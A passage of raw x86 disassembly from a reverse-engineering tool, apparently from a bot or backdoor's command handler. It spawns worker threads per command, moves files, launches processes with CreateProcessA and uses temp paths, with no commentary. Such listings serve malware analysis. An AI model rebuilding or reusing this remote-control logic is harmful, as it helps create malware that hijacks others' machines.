		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C9C0
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B254
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40C931
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407738


loc_40771F:				; CODE XREF: sub_401AA1+5F55j
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C958
		jmp	loc_403DDD
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_401AA1+5C9Dj
		push	32h
		call	dword_428080	; Sleep


loc_407738:				; CODE XREF: sub_401AA1+5C7Cj
		cmp	[ebp+var_4D0], ebx
		jz	short loc_407730
		jmp	loc_403DEC
; ---------------------------------------------------------------------------


loc_407745:				; CODE XREF: sub_401AA1+4E3Ej
					; sub_401AA1+4E55j
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		cmp	byte_441260[eax], bl
		jz	loc_409567
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	[ebp+arg_18]
		call	sub_41B650
		push	edi
		mov	esi, eax
		call	sub_41B650
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B650
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BF70
		mov	esi, eax
		lea	eax, [ebp+var_2C0]
		push	esi
		push	offset dword_42C94C
		push	eax
		call	sub_41BEF6
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_409567
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jle	loc_409567
		push	edi
		call	sub_41BDE9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409567
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	sub_409743
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_441048[eax], 73h
		jnz	loc_409567
		push	esi
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_441260
		push	eax
		push	[ebp+arg_18]
		push	offset dword_42C93C


loc_40782D:				; CODE XREF: sub_401AA1+5E86j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		jmp	loc_40401B
; ---------------------------------------------------------------------------


loc_407857:				; CODE XREF: sub_401AA1+4E10j
					; sub_401AA1+4E27j
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		cmp	byte_441260[eax], bl
		jz	loc_409567
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	[ebp+arg_18]
		call	sub_41B650
		push	edi
		mov	esi, eax
		call	sub_41B650
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B650
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BF70
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409567
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jle	loc_409567
		push	edi
		call	sub_41BDE9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409567
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	sub_409743
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_441048[eax], 73h
		jnz	loc_409567
		push	esi
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_441260
		push	eax
		push	[ebp+arg_18]
		push	offset dword_42C92C
		jmp	loc_40782D
; ---------------------------------------------------------------------------


loc_40792C:				; CODE XREF: sub_401AA1+4DE2j
					; sub_401AA1+4DF9j
		push	edi
		call	dword_4CE348	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41BDE9
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41BDE9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BC60
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C8B8
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40C840
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jz	loc_40771F
		jmp	short loc_407A06
; ---------------------------------------------------------------------------


loc_4079FE:				; CODE XREF: sub_401AA1+5F6Bj
		push	32h
		call	dword_428080	; Sleep


loc_407A06:				; CODE XREF: sub_401AA1+5F5Bj
		cmp	[ebp+var_670], ebx
		jz	short loc_4079FE
		jmp	loc_403DEC
; ---------------------------------------------------------------------------


loc_407A13:				; CODE XREF: sub_401AA1+4DB4j
					; sub_401AA1+4DCBj
		push	edi
		call	sub_41BDE9
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BC60
		push	[ebp+arg_0]
		call	sub_41BDE9
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	80h
		push	eax
		mov	[ebp+var_123C],	esi
		call	sub_41BFF0
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42C87C
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	18h
		push	eax
		call	sub_40B254
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset sub_411057
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407AFF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C838
		jmp	loc_403DDD
; ---------------------------------------------------------------------------


loc_407AF7:				; CODE XREF: sub_401AA1+6064j
		push	32h
		call	dword_428080	; Sleep


loc_407AFF:				; CODE XREF: sub_401AA1+6043j
		cmp	[ebp+var_111C],	ebx
		jz	short loc_407AF7
		jmp	loc_403DEC
; ---------------------------------------------------------------------------


loc_407B0C:				; CODE XREF: sub_401AA1+4D86j
					; sub_401AA1+4D9Dj
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BC60
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41BDE9
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407B65
		push	10h
		push	ebx
		push	eax
		call	sub_41C435
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407B6B
; ---------------------------------------------------------------------------


loc_407B65:				; CODE XREF: sub_401AA1+60AEj
		mov	[ebp+var_266C],	ebx


loc_407B6B:				; CODE XREF: sub_401AA1+60C2j
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407B82
		push	esi
		call	sub_41BDE9
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407B88
; ---------------------------------------------------------------------------


loc_407B82:				; CODE XREF: sub_401AA1+60D0j
		mov	[ebp+var_2670],	ebx


loc_407B88:				; CODE XREF: sub_401AA1+60DFj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2664],	eax
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C7D0
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Dh
		push	eax
		call	sub_40B254
		add	esp, 28h
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset sub_4169AB
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407C39
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C760
		jmp	loc_407EF2
; ---------------------------------------------------------------------------


loc_407C31:				; CODE XREF: sub_401AA1+619Ej
		push	32h
		call	dword_428080	; Sleep


loc_407C39:				; CODE XREF: sub_401AA1+617Dj
		cmp	[ebp+var_265C],	ebx
		jz	short loc_407C31
		jmp	loc_407F01
; ---------------------------------------------------------------------------


loc_407C46:				; CODE XREF: sub_401AA1+4D58j
					; sub_401AA1+4D6Fj
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_42C720
		push	eax
		mov	[ebp+var_3498],	esi
		call	sub_41BEF6
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	12h
		push	eax
		call	sub_40B254
		add	esp, 0Ch
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset sub_415846
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407D20
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C6E8
		jmp	loc_407EF2
; ---------------------------------------------------------------------------


loc_407D18:				; CODE XREF: sub_401AA1+6285j
		push	32h
		call	dword_428080	; Sleep


loc_407D20:				; CODE XREF: sub_401AA1+6264j
		cmp	[ebp+var_3288],	ebx
		jz	short loc_407D18
		jmp	loc_407F01
; ---------------------------------------------------------------------------


loc_407D2D:				; CODE XREF: sub_401AA1+4C2Cj
					; sub_401AA1+4C43j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_42C6B8
		push	eax
		mov	[ebp+var_3070],	esi
		call	sub_41BEF6
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40B254
		add	esp, 0Ch
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset sub_41458C
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407E07
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C680
		jmp	loc_407EF2
; ---------------------------------------------------------------------------


loc_407DFF:				; CODE XREF: sub_401AA1+636Cj
		push	32h
		call	dword_428080	; Sleep


loc_407E07:				; CODE XREF: sub_401AA1+634Bj
		cmp	[ebp+var_2E60],	ebx
		jz	short loc_407DFF
		jmp	loc_407F01
; ---------------------------------------------------------------------------


loc_407E14:				; CODE XREF: sub_401AA1+4B04j
					; sub_401AA1+4B1Bj ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_42C650
		push	eax
		mov	[ebp+var_3CF0],	esi
		call	sub_41BEF6
		add	esp, 50h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40B254
		add	esp, 0Ch
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset sub_413821
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407F1B
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C618


loc_407EF2:				; CODE XREF: sub_401AA1+4D2Dj
					; sub_401AA1+56ADj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_407F01:				; CODE XREF: sub_401AA1+4D42j
					; sub_401AA1+56C2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402399
		push	ebx
		push	[ebp+var_4]
		jmp	loc_403DF7
; ---------------------------------------------------------------------------


loc_407F13:				; CODE XREF: sub_401AA1+6480j
		push	32h
		call	dword_428080	; Sleep


loc_407F1B:				; CODE XREF: sub_401AA1+6443j
		cmp	[ebp+var_3A60],	ebx
		jz	short loc_407F13
		jmp	short loc_407F01
; ---------------------------------------------------------------------------


loc_407F25:				; CODE XREF: sub_401AA1+4AD6j
					; sub_401AA1+4AEDj
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BC60
		push	[ebp+arg_18]
		call	sub_41BDE9
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BC60
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407F70
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_407F70:				; CODE XREF: sub_401AA1+64BBj
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C5E8
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Fh
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017BF
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407FFF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C5AC
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_407FF7:				; CODE XREF: sub_401AA1+6564j
		push	32h
		call	dword_428080	; Sleep


loc_407FFF:				; CODE XREF: sub_401AA1+6543j
		cmp	[ebp+var_1620],	ebx
		jz	short loc_407FF7
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_40800C:				; CODE XREF: sub_401AA1+4A96j
					; sub_401AA1+4AADj
		push	[ebp+arg_18]
		call	sub_41BDE9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_4080FC
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41BFF0
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1D5C],	eax
		push	edi
		push	offset unk_42C580
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	15h
		push	eax
		call	sub_40B254
		add	esp, 38h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset sub_413C65
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4080EF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C548
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_4080E7:				; CODE XREF: sub_401AA1+6654j
		push	32h
		call	dword_428080	; Sleep


loc_4080EF:				; CODE XREF: sub_401AA1+6633j
		cmp	[ebp+var_1D58],	ebx
		jz	short loc_4080E7
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_4080FC:				; CODE XREF: sub_401AA1+657Cj
		push	offset unk_42C510
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_408106:				; CODE XREF: sub_401AA1+4A68j
					; sub_401AA1+4A7Fj
		push	[ebp+arg_18]
		push	edi
		call	dword_4280BC	; MoveFileA
		test	eax, eax
		jz	short loc_408136
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_42C4EC
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_408136:				; CODE XREF: sub_401AA1+6671j
		push	offset dword_42C4E0
		call	sub_4187D7
		push	eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_401AA1+4A3Aj
					; sub_401AA1+4A51j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41BFF0
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408194
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408194
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_408194:				; CODE XREF: sub_401AA1+66D1j
					; sub_401AA1+66E2j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42C4B0
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	24h
		push	eax
		call	sub_40B254
		add	esp, 2Ch
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset sub_417240
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_408259
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C474


loc_40823D:				; CODE XREF: sub_401AA1+9F9j
					; sub_401AA1+A1Fj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_408251:				; CODE XREF: sub_401AA1+67BEj
		push	32h
		call	dword_428080	; Sleep


loc_408259:				; CODE XREF: sub_401AA1+678Ej
		cmp	[ebp+var_3CF4],	ebx
		jz	short loc_408251
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_408266:				; CODE XREF: sub_401AA1+4A0Cj
					; sub_401AA1+4A23j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BC00
		mov	[ebp+var_668], esi
		xor	esi, esi
		inc	esi
		push	edi
		mov	[ebp+var_63C], esi
		mov	[ebp+var_638], bx
		call	sub_41BDE9
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4082A3
		mov	[ebp+var_638], 5


loc_4082A3:				; CODE XREF: sub_401AA1+67F7j
		cmp	[ebp+var_C], ebx
		jz	loc_406BC3
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41BF70
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BC3
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_428074	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_4082F4
		push	offset unk_42C450
		jmp	loc_40616F
; ---------------------------------------------------------------------------


loc_4082F4:				; CODE XREF: sub_401AA1+6847j
		push	edi
		push	offset dword_42C434
		jmp	loc_406BBA
; ---------------------------------------------------------------------------


loc_4082FF:				; CODE XREF: sub_401AA1+49DEj
					; sub_401AA1+49F5j
		push	[ebp+arg_18]
		push	offset dword_42A990
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40846F
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	dword_4280B8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AA48
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset dword_42C428
		push	eax
		call	sub_41BEF6
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_408391
		push	10h
		push	ebx
		push	eax
		call	sub_41C435
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408397
; ---------------------------------------------------------------------------


loc_408391:				; CODE XREF: sub_401AA1+68DAj
		mov	[ebp+var_23C4],	ebx


loc_408397:				; CODE XREF: sub_401AA1+68EEj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_4083AE
		push	esi
		call	sub_41BDE9
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_4083B4
; ---------------------------------------------------------------------------


loc_4083AE:				; CODE XREF: sub_401AA1+68FCj
		mov	[ebp+var_23C8],	ebx


loc_4083B4:				; CODE XREF: sub_401AA1+690Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C3D8
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Eh
		push	eax
		call	sub_40B254
		add	esp, 24h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset sub_4169AB
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_408462
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C370
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_40845A:				; CODE XREF: sub_401AA1+69C7j
		push	32h
		call	dword_428080	; Sleep


loc_408462:				; CODE XREF: sub_401AA1+69A6j
		cmp	[ebp+var_23B4],	ebx
		jz	short loc_40845A
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_40846F:				; CODE XREF: sub_401AA1+686Fj
		push	offset dword_42C300
		jmp	loc_406169
; ---------------------------------------------------------------------------


loc_408479:				; CODE XREF: sub_401AA1+49B0j
					; sub_401AA1+49C7j
		push	[ebp+var_8C]
		push	offset dword_42F4C4
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F20
		cmp	[ebp+var_C], ebx
		jz	loc_401F20
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41BF70
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42C2EC
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		push	edi
		call	sub_41BDE9
		add	esp, 30h
		test	eax, eax
		jle	short loc_408500
		push	edi
		call	sub_41BDE9
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_428080	; Sleep


loc_408500:				; CODE XREF: sub_401AA1+6A49j
		push	offset dword_42C2BC
		call	sub_415F45
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_408514:				; CODE XREF: sub_401AA1+4982j
					; sub_401AA1+4999j
		push	[ebp+var_8C]
		push	offset dword_42F4C4
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F20
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41BF70
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41C6E0
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2C0]
